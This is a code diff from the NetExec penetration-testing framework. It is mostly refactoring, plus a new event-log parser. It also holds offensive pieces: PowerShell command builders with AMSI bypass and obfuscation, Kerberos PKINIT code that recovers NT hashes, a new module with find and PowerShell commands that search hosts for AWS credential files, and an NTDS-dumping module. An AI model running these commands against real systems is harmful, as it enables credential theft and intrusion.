[Empire]
api_host = 127.0.0.1
api_port = 1337
+2
View File
@@ -111,6 +111,7 @@ def initialize_db():
# Even if the default workspace exists, we still need to check if every protocol has a database (in case of a new protocol)
init_protocol_dbs("default")
def format_host_query(q, filter_term, HostsTable):
"""One annoying thing is that if you search for an ip such as '10.10.10.5',
it will return 10.10.10.5 and 10.10.10.52, so we have to check if its an ip address first
@@ -141,6 +142,7 @@ def format_host_query(q, filter_term, HostsTable):
return q
class BaseDB:
def __init__(self, db_engine):
self.db_engine = db_engine
+2 -8
View File
@@ -8,18 +8,16 @@ from nxc.logger import nxc_logger
def first_run_setup(logger=nxc_logger):
if not exists(TMP_PATH):
mkdir(TMP_PATH)
if not exists(NXC_PATH):
logger.display("First time use detected")
logger.display("Creating home directory structure")
mkdir(NXC_PATH)
if not exists(TMP_PATH):
mkdir(TMP_PATH)
folders = (
"logs",
"modules",
"protocols",
"workspaces",
"obfuscated_scripts",
"screenshots",
@@ -46,7 +44,3 @@ def first_run_setup(logger=nxc_logger):
logger.display("Copying default configuration file")
default_path = path_join(DATA_PATH, "nxc.conf")
shutil.copy(default_path, NXC_PATH)
# if not exists(CERT_PATH):
# if os.name != 'nt':
# if e.errno == errno.ENOENT:
+1
View File
@@ -1,6 +1,7 @@
from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE
from argparse import Action
class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter):
def _get_help_string(self, action):
help_string = action.help
+213
View File
@@ -0,0 +1,213 @@
# SPDX-License-Identifier: GPL-2.0+
import struct
import uuid
from datetime import datetime
class Substitution:
def __init__(self, buf, offset):
(sub_token, sub_id, sub_type) = struct.unpack_from("<BHB", buf, offset)
self.length = 4
self._id = sub_id
self._type = sub_type
self._optional = sub_token == 0x0e
def xml(self, template=None):
value = template.values[self._id]
if value.type == 0x0:
return None if self._optional else ""
if self._type == 0x1:
return value.data.decode("utf16")
elif self._type == 0x4:
return str(struct.unpack("<B", value.data)[0])
elif self._type == 0x6:
return str(struct.unpack("<H", value.data)[0])
elif self._type == 0x8:
return str(struct.unpack("<I", value.data)[0])
elif self._type == 0xa:
return str(struct.unpack("<Q", value.data)[0])
elif self._type == 0x11:
# see http://integriography.wordpress.com/2010/01/16/using-phython-to-parse-and-present-windows-64-bit-timestamps/
return datetime.utcfromtimestamp(struct.unpack("<Q", value.data)[0] / 1e7 - 11644473600).isoformat()
elif self._type == 0x13:
# see http://www.gossamer-threads.com/lists/apache/bugs/386930
revision, number_of_sub_ids = struct.unpack_from("<BB", value.data)
iav = struct.unpack_from(">Q", value.data, 2)[0]
sub_ids = [struct.unpack("<I", value.data[8 + 4 * i:12 + 4 * i])[0] for i in range(number_of_sub_ids)]
return "S-{}-{}-{}".format(revision, iav, "-".join([str(sub_id) for sub_id in sub_ids]))
elif self._type == 0x15 or self._type == 0x10:
return value.data.hex()
elif self._type == 0x21:
return value.template.xml()
elif self._type == 0xf:
return str(uuid.UUID(bytes_le=value.data))
else:
print("Unknown value type", hex(value.type))
class Value:
def __init__(self, buf, offset):
token, string_type, length = struct.unpack_from("<BBH", buf, offset)
self._val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + length * 2
def xml(self, template=None):
return self._val
class Attribute:
def __init__(self, buf, offset):
struct.unpack_from("<B", buf, offset)
self._name = Name(buf, offset + 1)
(next_token) = struct.unpack_from("<B", buf, offset + 1 + self._name.length)
if next_token[0] == 0x05 or next_token == 0x45:
self._value = Value(buf, offset + 1 + self._name.length)
elif next_token[0] == 0x0e:
self._value = Substitution(buf, offset + 1 + self._name.length)
else:
print("Unknown attribute next_token", hex(next_token[0]), hex(offset + 1 + self._name.length))
self.length = 1 + self._name.length + self._value.length
def xml(self, template=None):
val = self._value.xml(template)
return None if val is None else f'{self._name.val}="{val}"'
class Name:
def __init__(self, buf, offset):
hashs, length = struct.unpack_from("<HH", buf, offset)
self.val = buf[offset + 4:offset + 4 + length * 2].decode("utf16")
self.length = 4 + (length + 1) * 2
class Element:
def __init__(self, buf, offset):
token, dependency_id, length = struct.unpack_from("<BHI", buf, offset)
self._name = Name(buf, offset + 7)
self._dependency = dependency_id
ofs = offset + 7 + self._name.length
if token == 0x41:
struct.unpack_from("<I", buf, ofs)
ofs += 4
self._children = []
self._attributes = []
while True:
next_token = buf[ofs]
if next_token == 0x06 or next_token == 0x46:
attr = Attribute(buf, ofs)
self._attributes.append(attr)
ofs += attr.length
elif next_token == 0x02:
self._empty = False
ofs += 1
while True:
next_token = buf[ofs]
if next_token == 0x01 or next_token == 0x41:
element = Element(buf, ofs)
elif next_token == 0x04:
ofs += 1
break
elif next_token == 0x05:
element = Value(buf, ofs)
elif next_token == 0x0e or next_token == 0x0d:
element = Substitution(buf, ofs)
else:
print("Unknown intern next_token", hex(next_token), hex(ofs))
break
self._children.append(element)
ofs += element.length
break
elif next_token == 0x03:
self._empty = True
ofs += 1
break
else:
print("Unknown element next_token", hex(next_token), hex(ofs))
break
self.length = ofs - offset
def xml(self, template=None):
if self._dependency != 0xFFFF and template.values[self._dependency].type == 0x00:
return ""
attrs = filter(lambda x: x is not None, (x.xml(template) for x in self._attributes))
attrs = " ".join(attrs)
if len(attrs) > 0:
attrs = " " + attrs
if self._empty:
return f"<{self._name.val}{attrs}/>"
else:
children = (x.xml(template) for x in self._children)
return "<{}{}>{}</{}>".format(self._name.val, attrs, "".join(children), self._name.val)
class ValueSpec:
def __init__(self, buf, offset, value_offset):
self.length, self.type, value_eof = struct.unpack_from("<HBB", buf, offset)
self.data = buf[value_offset:value_offset + self.length]
if self.type == 0x21:
self.template = BinXML(buf, value_offset)
class TemplateInstance:
def __init__(self, buf, offset):
token, unknown0, guid, length, next_token = struct.unpack_from("<BB16sIB", buf, offset)
if next_token == 0x0F:
self._xml = BinXML(buf, offset + 0x16)
eof, num_values = struct.unpack_from("<BI", buf, offset + 22 + self._xml.length)
values_length = 0
self.values = []
for x in range(num_values):
value = ValueSpec(buf, offset + 22 + self._xml.length + 5 + x * 4, offset + 22 + self._xml.length + 5 + num_values * 4 + values_length)
self.values.append(value)
values_length += value.length
self.length = 22 + self._xml.length + 5 + num_values * 4 + values_length
else:
print("Unknown template token", hex(next_token))
def xml(self, template=None):
return self._xml.xml(self)
class BinXML:
def __init__(self, buf, offset):
header_token, major_version, minor_version, flags, next_token = struct.unpack_from("<BBBBB", buf, offset)
if next_token == 0x0C:
self._element = TemplateInstance(buf, offset + 4)
elif next_token == 0x01 or next_token == 0x41:
self._element = Element(buf, offset + 4)
else:
print("Unknown binxml token", hex(next_token))
self.length = 4 + self._element.length
def xml(self, template=None):
return self._element.xml(template)
class ResultSet:
def __init__(self, buf):
total_size, header_size, event_offset, bookmark_offset, binxml_size = struct.unpack_from("<IIIII", buf)
self._xml = BinXML(buf, 0x14)
def xml(self):
return self._xml.xml()
+2 -1
View File
@@ -1,9 +1,10 @@
import os
from termcolor import colored
from nxc.paths import NXC_PATH
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser("~/.nxc"), "logs")
logs_dir = os.path.join(NXC_PATH, "logs")
with open(os.path.join(logs_dir, log_name), "w") as log_output:
log_output.write(data)
+71 -2
View File
@@ -4,6 +4,8 @@ import re
import inspect
import os
from ipaddress import ip_address
def identify_target_file(target_file):
with open(target_file) as target_file_handle:
@@ -22,7 +24,7 @@ def gen_random_string(length=10):
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
allowed = re.compile(r"^[0-9a-f]{32}", re.IGNORECASE)
return bool(allowed.match(data))
@@ -40,7 +42,7 @@ def called_from_cmd_args():
# Stolen from https://github.com/pydanny/whichcraft/
def which(cmd, mode=os.F_OK | os.X_OK, path=None):
"""Find the path which conforms to the given mode on the PATH for a command.
Given a command, mode, and a PATH string, return the path which conforms to the given mode on the PATH, or None if there is no such file.
`mode` defaults to os.F_OK | os.X_OK. `path` defaults to the result of os.environ.get("PATH"), or can be overridden with a custom search path.
Note: This function was backported from the Python 3 source code.
@@ -77,3 +79,70 @@ def which(cmd, mode=os.F_OK | os.X_OK, path=None):
name = os.path.join(p, thefile)
if _access_check(name, mode):
return name
def get_bloodhound_info():
"""
Detect which BloodHound package is installed (regular or CE) and its version.
Returns
-------
tuple: (package_name, version, is_ce)
- package_name: Name of the installed package ('bloodhound', 'bloodhound-ce', or None)
- version: Version string of the installed package (or None if not installed)
- is_ce: Boolean indicating if it's the Community Edition
"""
import importlib.metadata
import importlib.util
# First check if any BloodHound package is available to import
if importlib.util.find_spec("bloodhound") is None:
return None, None, False
# Try to get version info from both possible packages
version = None
package_name = None
is_ce = False
# Check for bloodhound-ce first
try:
version = importlib.metadata.version("bloodhound-ce")
package_name = "bloodhound-ce"
is_ce = True
except importlib.metadata.PackageNotFoundError:
# Check for regular bloodhound
try:
version = importlib.metadata.version("bloodhound")
package_name = "bloodhound"
# Even when installed as 'bloodhound', check if it's actually the CE version
if version and ("ce" in version.lower() or "community" in version.lower()):
is_ce = True
except importlib.metadata.PackageNotFoundError:
# No bloodhound package found via metadata
pass
# In case we can import it but metadata is not working, check the module itself
if not version:
try:
import bloodhound
version = getattr(bloodhound, "__version__", "unknown")
package_name = "bloodhound"
# Check if it's CE based on version string
if "ce" in version.lower() or "community" in version.lower():
is_ce = True
package_name = "bloodhound-ce"
except ImportError:
pass
return package_name, version, is_ce
def detect_if_ip(target):
try:
ip_address(target)
return True
except Exception:
return False
+17 -31
View File
@@ -30,7 +30,6 @@ import os
import secrets
import hashlib
import datetime
import logging
import random
import base64
@@ -47,8 +46,7 @@ from asn1crypto import keys
from minikerberos.pkinit import PKINIT, DirtyDH
from minikerberos.protocol.constants import NAME_TYPE, PaDataType
from minikerberos.protocol.encryption import Enctype, _enctype_table, Key
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \
PA_PAC_REQUEST
from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST
from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ
from pyasn1.codec.der import decoder, encoder
@@ -70,6 +68,7 @@ from minikerberos.common.ccache import CCACHE
from impacket.krb5.ccache import CCache as impacket_CCache
from nxc.paths import NXC_PATH
from nxc.logger import nxc_logger
class myPKINIT(PKINIT):
@@ -304,8 +303,8 @@ class myPKINIT(PKINIT):
key = Key(cipher.enctype, t_key)
enc_data = as_rep["enc-part"]["cipher"]
logging.info("AS-REP encryption key (you might need this later):")
logging.info(hexlify(t_key).decode("utf-8"))
nxc_logger.info("AS-REP encryption key (you might need this later):")
nxc_logger.info(hexlify(t_key).decode("utf-8"))
dec_data = cipher.decrypt(key, 3, enc_data)
encasrep = EncASRepPart.load(dec_data).native
cipher = _enctype_table[int(encasrep["key"]["keytype"])]
@@ -327,34 +326,27 @@ class GETPAC:
for _bufferN in range(pacType["cBuffers"]):
infoBuffer = PAC_INFO_BUFFER(buff)
data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]]
if logging.getLogger().level == logging.DEBUG:
print("TYPE 0x%x" % infoBuffer["ulType"])
nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}")
if infoBuffer["ulType"] == 2:
found = True
credinfo = PAC_CREDENTIAL_INFO(data)
if logging.getLogger().level == logging.DEBUG:
credinfo.dump()
newCipher = _enctype_table[credinfo["EncryptionType"]]
out = newCipher.decrypt(key, 16, credinfo["SerializedData"])
type1 = TypeSerialization1(out)
# I'm skipping here 4 bytes with its the ReferentID for the pointer
newdata = out[len(type1) + 4:]
pcc = PAC_CREDENTIAL_DATA(newdata)
if logging.getLogger().level == logging.DEBUG:
pcc.dump()
for cred in pcc["Credentials"]:
credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"]))
if logging.getLogger().level == logging.DEBUG:
credstruct.dump()
logging.info("Recovered NT Hash")
logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nxc_logger.info("Recovered NT Hash")
nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8"))
nthash = hexlify(credstruct["NtPassword"]).decode("utf-8")
buff = buff[len(infoBuffer):]
if not found:
logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?")
return nthash
def __init__(self, username, domain, kdcHost, key, tgt):
@@ -399,10 +391,8 @@ class GETPAC:
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
if logging.getLogger().level == logging.DEBUG:
logging.debug("AUTHENTICATOR")
print(authenticator.prettyPrint())
print("\n")
nxc_logger.debug("AUTHENTICATOR")
nxc_logger.debug(authenticator.prettyPrint() + "\n")
encodedAuthenticator = encoder.encode(authenticator)
@@ -452,23 +442,18 @@ class GETPAC:
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, "additional-tickets", (myTicket,))
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
if logging.getLogger().level == logging.DEBUG:
logging.debug("Final TGS")
print(tgsReq.prettyPrint())
nxc_logger.debug("Final TGS")
nxc_logger.debug(tgsReq.prettyPrint())
message = encoder.encode(tgsReq)
logging.info("Requesting ticket to self with PAC")
nxc_logger.info("Requesting ticket to self with PAC")
r = sendReceive(message, self.__domain, self.__kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
if logging.getLogger().level == logging.DEBUG:
logging.debug("TGS_REP")
print(tgs.prettyPrint())
nxc_logger.debug("TGS_REP")
nxc_logger.debug(tgs.prettyPrint())
cipherText = tgs["ticket"]["enc-part"]["cipher"]
@@ -503,7 +488,8 @@ def pfx_auth(self):
return None
username = self.args.username[0]
log_ccache = os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}-{username}.ccache".replace(":", "-"))
timestamp = datetime.datetime.now().strftime("%Y-%m-%d_%H%M%S").replace(":", "-")
log_ccache = os.path.normpath(os.path.expanduser(f"{NXC_PATH}/logs/{self.hostname}_{self.host}_{timestamp}-{username}.ccache"))
# Request a TGT with the cert data
req = ini.build_asreq(self.domain, username)
+9 -22
View File
@@ -12,6 +12,7 @@ import random
obfuscate_ps_scripts = False
def replace_singles(s):
"""Replaces single quotes with a double quote
We do this because quoting is very important in PowerShell, and we are doing multiple layers:
@@ -27,6 +28,7 @@ def replace_singles(s):
"""
return s.replace("'", r"\"")
def get_ps_script(path):
"""Generates a full path to a PowerShell script given a relative path.
@@ -56,19 +58,6 @@ def encode_ps_command(command):
return b64encode(command.encode("UTF-16LE")).decode()
def is_powershell_installed():
"""
Check if PowerShell is installed.
Returns
-------
bool: True if PowerShell is installed, False otherwise.
"""
if which("powershell"):
return True
return False
def obfs_ps_script(path_to_script):
"""
Obfuscates a PowerShell script.
@@ -90,7 +79,7 @@ def obfs_ps_script(path_to_script):
obfs_script_dir = os.path.join(NXC_PATH, "obfuscated_scripts")
obfs_ps_script = os.path.join(obfs_script_dir, ps_script)
if is_powershell_installed() and obfuscate_ps_scripts:
if bool(which("powershell")) and obfuscate_ps_scripts:
if os.path.exists(obfs_ps_script):
nxc_logger.display("Using cached obfuscated Powershell script")
with open(obfs_ps_script) as script:
@@ -116,12 +105,11 @@ def obfs_ps_script(path_to_script):
and debug statements from a PowerShell source file.
"""
# strip block comments
stripped_code = re.sub(re.compile("<#.*?#>", re.DOTALL), "", script.read())
stripped_code = re.sub(re.compile(r"<#.*?#>", re.DOTALL), "", script.read())
# strip blank lines, lines starting with #, and verbose/debug statements
return "\n".join([line for line in stripped_code.split("\n") if ((line.strip() != "") and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")))])
def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None, encode=True):
"""
Generates a PowerShell command based on the provided `ps_command` parameter.
@@ -139,7 +127,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
str: The generated PowerShell command.
"""
nxc_logger.debug(f"Creating PS command parameters: {ps_command=}, {force_ps32=}, {obfs=}, {custom_amsi=}, {encode=}")
if custom_amsi:
nxc_logger.debug(f"Using custom AMSI bypass script: {custom_amsi}")
with open(custom_amsi) as file_in:
@@ -154,7 +142,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
command = amsi_bypass + f"$functions = {{function Command-ToExecute{{{amsi_bypass + ps_command}}}}}; if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64'){{$job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32; $job | Wait-Job | Receive-Job }} else {{IEX '$functions'; Command-ToExecute}}"
else:
command = f"{amsi_bypass} {ps_command}"
nxc_logger.debug(f"Generated PS command:\n {command}\n")
if obfs:
@@ -163,7 +151,7 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
while True:
nxc_logger.debug(f"Obfuscation attempt: {obfs_attempts + 1}")
obfs_command = invoke_obfuscation(command)
command = f'powershell.exe -exec bypass -noni -nop -w 1 -C "{replace_singles(obfs_command)}"'
if len(command) <= 8191:
break
@@ -176,11 +164,11 @@ def create_ps_command(ps_command, force_ps32=False, obfs=False, custom_amsi=None
# if we arent encoding or obfuscating anything, we quote the entire powershell in double quotes, otherwise the final powershell command will syntax error
command = f"-enc {encode_ps_command(command)}" if encode else f'"{command}"'
command = f"powershell.exe -noni -nop -w 1 {command}"
if len(command) > 8191:
nxc_logger.error(f"Command exceeds maximum length of 8191 chars (was {len(command)}). exiting.")
exit(1)
nxc_logger.debug(f"Final command: {command}")
return command
@@ -429,4 +417,3 @@ def invoke_obfuscation(script_string):
obfuscated_script = choice(invoke_options)
nxc_logger.debug(f"Script after obfuscation: {obfuscated_script}")
return obfuscated_script
+1 -11
View File
@@ -33,12 +33,6 @@ class ModuleLoader:
elif not hasattr(module, "supported_protocols"):
self.logger.fail(f"{module_path} missing the supported_protocols variable")
module_error = True
elif not hasattr(module, "opsec_safe"):
self.logger.fail(f"{module_path} missing the opsec_safe variable")
module_error = True
elif not hasattr(module, "multiple_hosts"):
self.logger.fail(f"{module_path} missing the multiple_hosts variable")
module_error = True
elif not hasattr(module, "options"):
self.logger.fail(f"{module_path} missing the options function")
module_error = True
@@ -46,9 +40,7 @@ class ModuleLoader:
self.logger.fail(f"{module_path} missing the on_login/on_admin_login function(s)")
module_error = True
if module_error:
return False
return True
return not module_error
def load_module(self, module_path):
"""Load a module, initializing it and checking that it has the proper attributes"""
@@ -100,8 +92,6 @@ class ModuleLoader:
"description": module_spec.description,
"options": module_spec.options.__doc__,
"supported_protocols": module_spec.supported_protocols,
"opsec_safe": module_spec.opsec_safe,
"multiple_hosts": module_spec.multiple_hosts,
"requires_admin": bool(hasattr(module_spec, "on_admin_login") and callable(module_spec.on_admin_login)),
}
}
+17 -24
View File
@@ -2,14 +2,12 @@ from types import ModuleType
from importlib.machinery import SourceFileLoader
from os import listdir
from os.path import join as path_join
from os.path import dirname, exists, expanduser
from os.path import dirname, exists
import nxc
class ProtocolLoader:
def __init__(self):
self.nxc_path = expanduser("~/.nxc")
def load_protocol(self, protocol_path):
loader = SourceFileLoader("protocol", protocol_path)
protocol = ModuleType(loader.name)
@@ -18,27 +16,22 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+3 -7
View File
@@ -103,7 +103,7 @@ class NXCAdapter(logging.LoggerAdapter):
logging.getLogger("dploot").disabled = True
logging.getLogger("neo4j").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
def format(self, msg, *args, **kwargs):
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -118,10 +118,6 @@ class NXCAdapter(logging.LoggerAdapter):
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
@@ -186,9 +182,9 @@ class NXCAdapter(logging.LoggerAdapter):
with file_handler._open() as f:
if file_creation:
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
+5 -4
View File
@@ -13,8 +13,6 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
@@ -27,7 +25,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.regex = re.compile("(https?://.+)")
self.regex = re.compile(r"(https?://.+)")
self.server = None
self.base_dn = None
@@ -70,7 +68,10 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail(f"Obtained unexpected exception: {e}")
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
+1 -3
View File
@@ -4,6 +4,7 @@ import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
@@ -15,8 +16,6 @@ class NXCModule:
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
@@ -88,7 +87,6 @@ class NXCModule:
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
+46
View File
@@ -0,0 +1,46 @@
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
+1 -3
View File
@@ -6,15 +6,13 @@ from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.paths import NXC_PATH
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
+221
View File
@@ -0,0 +1,221 @@
from impacket.ldap import ldaptypes
from nxc.parsers.ldap_results import parse_result_attributes
from ldap3.protocol.microsoft import security_descriptor_control
RELEVANT_OBJECT_TYPES = {
"00000000-0000-0000-0000-000000000000": "All Objects",
"0feb936f-47b3-49f2-9386-1dedc2c23765": "msDS-DelegatedManagedServiceAccount",
}
EXCLUDED_SIDS_SUFFIXES = ["-512", "-519"] # Domain Admins, Enterprise Admins
EXCLUDED_SIDS = ["S-1-5-32-544", "S-1-5-18"] # Builtin Administrators, Local SYSTEM
# Define all access rights
ACCESS_RIGHTS = {
# Generic Rights
"GenericRead": 0x80000000, # ADS_RIGHT_GENERIC_READ
"GenericWrite": 0x40000000, # ADS_RIGHT_GENERIC_WRITE
"GenericExecute": 0x20000000, # ADS_RIGHT_GENERIC_EXECUTE
"GenericAll": 0x10000000, # ADS_RIGHT_GENERIC_ALL
# Maximum Allowed access type
"MaximumAllowed": 0x02000000,
# Access System Acl access type
"AccessSystemSecurity": 0x01000000, # ADS_RIGHT_ACCESS_SYSTEM_SECURITY
# Standard access types
"Synchronize": 0x00100000, # ADS_RIGHT_SYNCHRONIZE
"WriteOwner": 0x00080000, # ADS_RIGHT_WRITE_OWNER
"WriteDACL": 0x00040000, # ADS_RIGHT_WRITE_DAC
"ReadControl": 0x00020000, # ADS_RIGHT_READ_CONTROL
"Delete": 0x00010000, # ADS_RIGHT_DELETE
# Specific rights
"AllExtendedRights": 0x00000100, # ADS_RIGHT_DS_CONTROL_ACCESS
"ListObject": 0x00000080, # ADS_RIGHT_DS_LIST_OBJECT
"DeleteTree": 0x00000040, # ADS_RIGHT_DS_DELETE_TREE
"WriteProperties": 0x00000020, # ADS_RIGHT_DS_WRITE_PROP
"ReadProperties": 0x00000010, # ADS_RIGHT_DS_READ_PROP
"Self": 0x00000008, # ADS_RIGHT_DS_SELF
"ListChildObjects": 0x00000004, # ADS_RIGHT_ACTRL_DS_LIST
"DeleteChild": 0x00000002, # ADS_RIGHT_DS_DELETE_CHILD
"CreateChild": 0x00000001, # ADS_RIGHT_DS_CREATE_CHILD
}
# Define which rights are considered relevant for potential abuse
RELEVANT_RIGHTS = {
"GenericAll": ACCESS_RIGHTS["GenericAll"],
"GenericWrite": ACCESS_RIGHTS["GenericWrite"],
"WriteOwner": ACCESS_RIGHTS["WriteOwner"],
"WriteDACL": ACCESS_RIGHTS["WriteDACL"],
"CreateChild": ACCESS_RIGHTS["CreateChild"],
"WriteProperties": ACCESS_RIGHTS["WriteProperties"],
"AllExtendedRights": ACCESS_RIGHTS["AllExtendedRights"]
}
FUNCTIONAL_LEVELS = {
"Windows 2000": 0,
"Windows Server 2003": 1,
"Windows Server 2003 R2": 2,
"Windows Server 2008": 3,
"Windows Server 2008 R2": 4,
"Windows Server 2012": 5,
"Windows Server 2012 R2": 6,
"Windows Server 2016": 7,
"Windows Server 2019": 8,
"Windows Server 2022": 9,
"Windows Server 2025": 10,
}
